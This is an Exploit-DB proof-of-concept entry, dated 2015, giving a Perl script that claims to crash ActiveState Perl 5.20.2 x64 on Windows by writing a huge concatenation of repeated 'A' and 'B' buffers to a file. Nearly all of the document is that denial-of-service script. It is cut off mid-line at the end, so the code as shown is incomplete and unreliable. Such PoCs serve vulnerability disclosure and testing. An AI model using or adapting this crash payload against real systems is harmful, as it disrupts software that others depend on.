Exploit-DB #38085
Description: ActiveState Perl.exe x64 Client 5.20.2 - Crash (PoC)
Type: dos
Platform: windows_x86-64
Date: 2015-09-06
Author: Robbie Corley

Exploit:
# Exploit Title: [ActiveState] Perl.exe x64 Client Denial of Service (v5.20.2)
# Date: 9-3-2015
# Software Link: http://www.activestate.com/activeperl/downloads/thank-you?dl=http://downloads.activestate.com/ActivePerl/releases/5.20.2.2002/ActivePerl-5.20.2.2002-MSWin32-x64-299195.msi
# Exploit Author: Robbie Corley
# Contact: c0d3rc0rl3y@gmail.com
# Website: 
# Target(s): Windows 7, Server 2008, server 2012, Windows 8.1, Windows 10
# CVE: 
# Category: Denial of Service Exploits
#
# Description:
# A Denial of Service can be achieved by concatenating several large strings together and attempting to write to file.

my $buff = "\x41" x 7000;
my $endofbuff   = "\x42" x 5860;

open(myfile,'>orgsched.ocf'); # file extension is irrelevant

print myfile $buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$endofbuff.$buff.$e